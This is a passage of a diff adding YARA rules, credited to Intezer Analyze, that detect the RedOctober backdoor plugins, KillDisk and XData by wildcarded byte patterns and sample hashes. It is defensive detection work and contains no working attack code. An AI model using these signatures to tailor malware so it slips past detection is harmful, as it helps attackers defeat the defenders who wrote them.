8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? BB ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 5? C9 C2 }
+		$block_6 = { BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 4? 2B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? 8B ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? A3 ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? B8 ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 4? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? 81 F? ?? ?? ?? ?? 0F 85 }
+		$block_7 = { 8B ?? 4? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? A3 ?? ?? ?? ?? BF ?? ?? ?? ?? BF ?? ?? ?? ?? BB ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? FF 0? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 0? ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? BE ?? ?? ?? ?? 81 F? ?? ?? ?? ?? 0F 85 }
+		$block_8 = { 4? 00 ?? ?? 4? 5? 33 ?? 2E ?? 4? 4? 00 ?? 01 ?? 03 ?? ?? ?? ?? ?? ?? 0A ?? 0C ?? 0E 0F 10 ?? 12 ?? 14 ?? 16 17 18 ?? 1A ?? 1C ?? 1E 1F 20 ?? 22 ?? 24 ?? 26 ?? 28 ?? 2A ?? 2C ?? 2E ?? 30 ?? 32 ?? 34 ?? 36 ?? 38 ?? 3A ?? 3C ?? 3E ?? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 60 61 62 ?? ?? 65 ?? ?? ?? ?? ?? 6B ?? ?? ?? ?? 70 }
+		$block_9 = { 14 ?? 16 17 18 ?? 1A ?? 1C ?? 1E 1F 20 ?? 22 ?? 24 ?? 26 ?? 28 ?? 2A ?? 2C ?? 2E ?? 30 ?? 32 ?? 34 ?? 36 ?? 38 ?? 3A ?? 3C ?? 3E ?? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 60 61 62 ?? ?? 65 ?? ?? ?? ?? ?? 6B ?? ?? ?? ?? 70 }
+
+	condition:
+		hash.sha256(0, filesize) == "1ac828db983ae799edf65e6b6bef81ceffd1e2079a6e1c5e6cf969a37f956698" or
+		hash.sha256(0, filesize) == "c89b2bb62d13777aa6b1a4a22813e06907b26809d4745df963a760d365cc09cd" or
+		10 of them
+}
+
+rule RedOctoberPluginCollectInfo {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 6A ?? 8B ?? 99 6A ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 0F 84 }
+		$block_1 = { 0F B6 ?? ?? 0F BE ?? ?? ?? ?? ?? 5? 0F B6 ?? 0F BE ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? FF D? 83 }
+		$block_2 = { 8B ?? ?? ?? 8D ?? ?? ?? 5? 4? 5? 68 ?? ?? ?? ?? 5? 5? 89 ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_3 = { 5? 5? 5? 33 ?? 8D ?? ?? ?? 5? 5? 5? 5? 5? 5? 8B ?? 89 ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_4 = { 83 ?? ?? 33 ?? 6A ?? 5? 8B ?? F7 ?? 0F 90 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 85 ?? 74 }
+		$block_5 = { 8B ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 85 ?? 74 }
+		$block_6 = { 8D ?? ?? 5? 6A ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8B ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_7 = { 6A ?? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? 8B ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_8 = { 8B ?? ?? ?? ?? ?? ?? 5? 5? 5? 0F B6 ?? 5? 33 ?? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C3 }
+		$block_9 = { 8D ?? ?? ?? 5? 5? 68 ?? ?? ?? ?? 5? 5? 89 ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_10 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_11 = { 8B ?? ?? ?? ?? ?? 8A ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_12 = { 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C9 C3 }
+		$block_13 = { 8B ?? ?? ?? ?? ?? 5? 5? 8A ?? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_14 = { 8B ?? ?? 6A ?? 8D ?? ?? ?? 5? 8B ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_15 = { 8B ?? ?? 8B ?? C1 ?? ?? 5? E8 ?? ?? ?? ?? 5? 33 ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_16 = { 8D ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_17 = { 8B ?? 8B ?? ?? 8B ?? FF D? 5? 6A ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 0F 84 }
+		$block_18 = { 8B ?? ?? ?? ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_19 = { 8D ?? ?? 89 ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? F6 ?? ?? ?? 89 ?? ?? 0F 84 }
+		$block_20 = { 8B ?? ?? ?? ?? ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_21 = { 68 ?? ?? ?? ?? 5? 8D ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_22 = { 8D ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_23 = { 8D ?? ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_24 = { FF 7? ?? 8B ?? 8B ?? E8 ?? ?? ?? ?? 33 ?? 5? 89 ?? ?? 39 ?? ?? 0F 84 }
+		$block_25 = { 8D ?? ?? ?? 5? 5? C7 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_26 = { 5? 8B ?? 5? 5? 33 ?? 5? 8B ?? ?? C7 ?? ?? ?? ?? ?? ?? 39 ?? ?? 0F 84 }
+		$block_27 = { 8B ?? 8B ?? ?? FF D? 8D ?? ?? 5? 8B ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_28 = { 0F 95 ?? 8B ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 5? 5? 5? 5? 83 ?? ?? C2 }
+		$block_29 = { 8B ?? ?? ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_30 = { 68 ?? ?? ?? ?? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_31 = { 8B ?? ?? ?? ?? ?? 33 ?? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_32 = { 5? 8B ?? 5? 5? 5? 8B ?? ?? 8B ?? 0F B6 ?? ?? 33 ?? 3B ?? 0F 8E }
+		$block_33 = { 8B ?? ?? ?? 8B ?? 8D ?? ?? ?? 5? 5? 8B ?? ?? FF D? 85 ?? 0F 85 }
+		$block_34 = { 6A ?? 68 ?? ?? ?? ?? FF 3? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_35 = { 8D ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 85 }
+		$block_36 = { 5? 6A ?? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_37 = { 8B ?? ?? 5? 8B ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_38 = { 8B ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_39 = { 5? 8B ?? 83 ?? ?? 89 ?? ?? C6 ?? ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_40 = { 5? 6A ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_41 = { 5? 5? 5? 8B ?? ?? ?? 33 ?? 8B ?? 89 ?? ?? ?? 3B ?? 0F 84 }
+		$block_42 = { 5? 5? 5? 8B ?? ?? ?? 32 ?? 8B ?? 88 ?? ?? ?? 85 ?? 0F 84 }
+		$block_43 = { 8D ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_44 = { 6A ?? 8B ?? 2B ?? ?? 5? 5? 89 ?? ?? 5? 89 ?? ?? 0F 88 }
+		$block_45 = { 5? 8B ?? 83 ?? ?? 5? 8B ?? 33 ?? 5? 66 ?? ?? ?? 0F 85 }
+		$block_46 = { 5? 8D ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? 3B ?? 0F 84 }
+		$block_47 = { 8B ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C9 C3 }
+		$block_48 = { 8B ?? ?? 8B ?? ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_49 = { 8B ?? ?? 8B ?? E8 ?? ?? ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_50 = { FF 7? ?? 8B ?? 8B ?? E8 ?? ?? ?? ?? 5? 85 ?? 0F 85 }
+		$block_51 = { 8B ?? ?? 80 7? ?? ?? 8B ?? ?? 0F 95 ?? 88 ?? ?? 8B }
+		$block_52 = { 8B ?? ?? 5? 5? 8B ?? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_53 = { 8B ?? ?? ?? 4? 89 ?? ?? ?? 3B ?? ?? ?? ?? ?? 0F 82 }
+		$block_54 = { 0F B6 ?? 8B ?? ?? 8B ?? ?? 4? 3D ?? ?? ?? ?? 0F 87 }
+		$block_55 = { 8B ?? ?? 33 ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C9 C3 }
+		$block_56 = { 8B ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_57 = { 6A ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_58 = { 8B ?? ?? 8B ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_59 = { 0F B7 ?? ?? 0F B6 ?? ?? 5? 8D ?? ?? 83 ?? ?? 7D }
+		$block_60 = { 8B ?? 8B ?? E8 ?? ?? ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_61 = { 8B ?? ?? 80 7? ?? ?? C7 ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_62 = { 5? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_63 = { 8B ?? ?? 83 ?? ?? 33 ?? 83 ?? ?? 39 ?? ?? 0F 87 }
+		$block_64 = { 8B ?? ?? ?? 01 ?? ?? ?? 89 ?? ?? ?? 3B ?? 0F 86 }
+
+	condition:
+		hash.sha256(0, filesize) == "cf8b014c410edf2116fd54803ef9325c45d26d44160fa0feefa361a576aa7980" or
+		24 of them
+}
+
+rule RedOctoberPluginDocBackdoor {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? 83 ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 8D ?? ?? ?? 89 ?? ?? 8B ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_1 = { 5? 8B ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 89 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_2 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 03 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? 5? 8D ?? ?? 5? 68 ?? ?? ?? ?? 8B ?? ?? 5? 8B ?? ?? 5? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_3 = { 8B ?? ?? 5? 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 5? 6A ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 5? 8B ?? ?? 03 ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F B6 ?? ?? 83 ?? ?? 75 }
+		$block_4 = { 8B ?? ?? 2B ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 5? 8B ?? ?? 03 ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? 5? 68 ?? ?? ?? ?? 8B ?? ?? 5? 8B ?? ?? 5? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_5 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 6A ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 6A ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 83 ?? ?? 75 }
+		$block_6 = { 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 33 ?? BA ?? ?? ?? ?? F7 ?? 0F 90 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? 83 ?? ?? ?? ?? ?? ?? 74 }
+		$block_7 = { 8B ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 03 ?? ?? 89 ?? ?? 8B ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_8 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 8D ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_9 = { C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F B6 ?? 85 ?? 74 }
+
+	condition:
+		hash.sha256(0, filesize) == "bef87ae1f54d63f88c59f38e1725735db723b729d0dbbda2411d5b9779649415" or
+		10 of them
+}
+
+rule KillDisk {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? ?? 8D ?? ?? ?? 5? 5? 5? 6A ?? 5? 89 ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? ?? ?? 85 ?? 0F 84 }
+		$block_1 = { 8B ?? ?? ?? ?? ?? 5? FF D? 83 ?? ?? ?? 5? 0F 95 ?? ?? ?? FF 1? ?? ?? ?? ?? 80 7? ?? ?? ?? 0F 84 }
+		$block_2 = { 5? FF 1? ?? ?? ?? ?? 6A ?? FF 1? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 95 ?? 84 ?? 75 }
+		$block_3 = { 8B ?? ?? ?? 8B ?? ?? ?? 03 ?? 03 ?? 03 ?? 01 ?? ?? ?? 83 ?? ?? 83 ?? ?? 89 ?? ?? ?? 0F 82 }
+		$block_4 = { 8B ?? ?? ?? 8D ?? ?? ?? 5? 33 ?? 5? 5? 6A ?? 5? 89 ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_5 = { 8B ?? ?? ?? ?? ?? ?? 85 ?? 0F 95 ?? 5? 33 ?? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C3 }
+		$block_6 = { 8B ?? C1 ?? ?? 8B ?? F3 ?? 8B ?? 8B ?? ?? ?? 83 ?? ?? A9 ?? ?? ?? ?? F3 ?? 0F 85 }
+		$block_7 = { 68 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_8 = { 8B ?? ?? ?? 5? 5? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 3B ?? 89 ?? ?? ?? 0F 84 }
+		$block_9 = { 8B ?? C1 ?? ?? 8B ?? F3 ?? 8B ?? 83 ?? ?? F3 ?? FF 1? ?? ?? ?? ?? 3C ?? 0F 85 }
+		$block_10 = { 68 ?? ?? ?? ?? FF D? 8B ?? ?? ?? 8B ?? 83 ?? ?? 83 ?? ?? 89 ?? ?? ?? 0F 86 }
+		$block_11 = { 5? 5? 6A ?? 5? 6A ?? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 3B ?? 0F 84 }
+		$block_12 = { 8B ?? ?? ?? 2B ?? B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 8B ?? C1 ?? ?? 03 ?? 0F 84 }
+		$block_13 = { 8B ?? ?? ?? 83 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 3B ?? ?? ?? 89 ?? ?? ?? 0F 82 }
+		$block_14 = { 8B ?? ?? ?? 83 ?? ?? 83 ?? ?? 83 ?? ?? 3B ?? 89 ?? ?? ?? 89 ?? ?? ?? 0F 82 }
+		$block_15 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_16 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_17 = { 8B ?? C1 ?? ?? 8B ?? F3 ?? 8B ?? 83 ?? ?? F6 ?? ?? ?? ?? F3 ?? 0F 84 }
+		$block_18 = { 8B ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 89 ?? ?? ?? 0F 84 }
+		$block_19 = { 89 ?? ?? ?? 8D ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 84 ?? 0F 84 }
+		$block_20 = { 6A ?? 6A ?? 6A ?? 32 ?? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_21 = { 6A ?? 6A ?? 6A ?? 6A ?? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_22 = { 5? 8B ?? 83 ?? ?? 83 ?? ?? 5? 5? 8B ?? ?? 85 ?? 5? 0F 84 }
+		$block_23 = { 0F B7 ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? 83 ?? ?? 66 ?? ?? 75 }
+		$block_24 = { 8B ?? ?? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_25 = { 8B ?? C1 ?? ?? F3 ?? 8B ?? 83 ?? ?? 85 ?? F3 ?? 0F 84 }
+		$block_26 = { 8B ?? ?? ?? 83 ?? ?? 83 ?? ?? 3B ?? 89 ?? ?? ?? 0F 82 }
+		$block_27 = { 8B ?? E8 ?? ?? ?? ?? 8B ?? 3B ?? 89 ?? ?? ?? 0F 84 }
+		$block_28 = { 8B ?? ?? ?? 3B ?? 8B ?? ?? ?? C6 ?? ?? ?? ?? 0F 87 }
+		$block_29 = { 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 95 ?? 84 ?? 0F 84 }
+		$block_30 = { 5? 6A ?? 6A ?? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_31 = { 8D ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? FF D? 85 ?? 0F 84 }
+		$block_32 = { 0F B7 ?? 66 ?? ?? 83 ?? ?? 83 ?? ?? 66 ?? ?? 75 }
+		$block_33 = { 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 95 ?? 84 ?? 74 }
+		$block_34 = { 83 ?? ?? ?? ?? 83 ?? ?? ?? ?? 8B ?? ?? ?? 0F 85 }
+		$block_35 = { 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+
+	condition:
+		hash.sha256(0, filesize) == "26173c9ec8fd1c4f9f18f89683b23267f6f9d116196ed15655e9cb453af2890e" or
+		hash.sha256(0, filesize) == "8246f709efa922a485e1ca32d8b0d10dc752618e8b3fce4d3dd58d10e4a6a16d" or
+		12 of them
+}
+
+rule XData {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? CC 5? 8B ?? 5? 8B ?? ?? 5? 8B ?? 8B ?? ?? 5? 8B ?? ?? 3B ?? 0F 82 }
+		$block_1 = { 5? 5? 8D ?? ?? C7 ?? ?? ?? ?? ?? ?? 32 ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_2 = { 68 ?? ?? ?? ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 33 ?? 85 ?? 5? 0F 94 ?? 5? 8B ?? 5? C3 }
+		$block_3 = { 8D ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 33 ?? ?? ?? ?? ?? 5? FF D? 85 ?? 0F 84 }
+		$block_4 = { 48 ?? ?? 48 ?? ?? ?? 0F 10 ?? ?? 0F 11 ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? 5? C3 }
+		$block_5 = { BA ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 85 ?? 0F 44 ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 74 }
+		$block_6 = { 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 33 ?? 85 ?? 0F 84 }
+		$block_7 = { 48 ?? ?? ?? ?? 0F B6 ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 4C ?? ?? ?? ?? 48 ?? ?? ?? 5? C3 }
+		$block_8 = { 5? 8B ?? 5? 5? 5? 8B ?? 33 ?? 5? 33 ?? 33 ?? 0F B7 ?? ?? 8B ?? ?? ?? ?? ?? 66 ?? ?? 73 }
+		$block_9 = { 8D ?? ?? 89 ?? ?? 5? 6A ?? 5? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? F7 ?? 5? 1B ?? 83 }
+		$block_10 = { 6A ?? FF 3? 5? E8 ?? ?? ?? ?? 83 ?? ?? 6A ?? 5? 89 ?? ?? B8 ?? ?? ?? ?? 66 ?? ?? 0F 85 }
+		$block_11 = { 8B ?? ?? 83 ?? ?? 8B ?? ?? 4? 89 ?? ?? 89 ?? ?? 89 ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 89 }
+		$block_12 = { 8B ?? ?? 03 ?? ?? 0F B6 ?? 8B ?? ?? 03 ?? ?? 0F B6 ?? 33 ?? 8B ?? ?? 03 ?? ?? 88 ?? EB }
+		$block_13 = { 5? 8B ?? 5? 8B ?? ?? 5? 8B ?? ?? 8B ?? 83 ?? ?? 83 ?? ?? 5? 8D ?? ?? ?? ?? ?? ?? 0F 1F }
+		$block_14 = { 8D ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? ?? 6A ?? 5? 4? 6A ?? 89 ?? ?? 5? 3B ?? ?? 0F 82 }
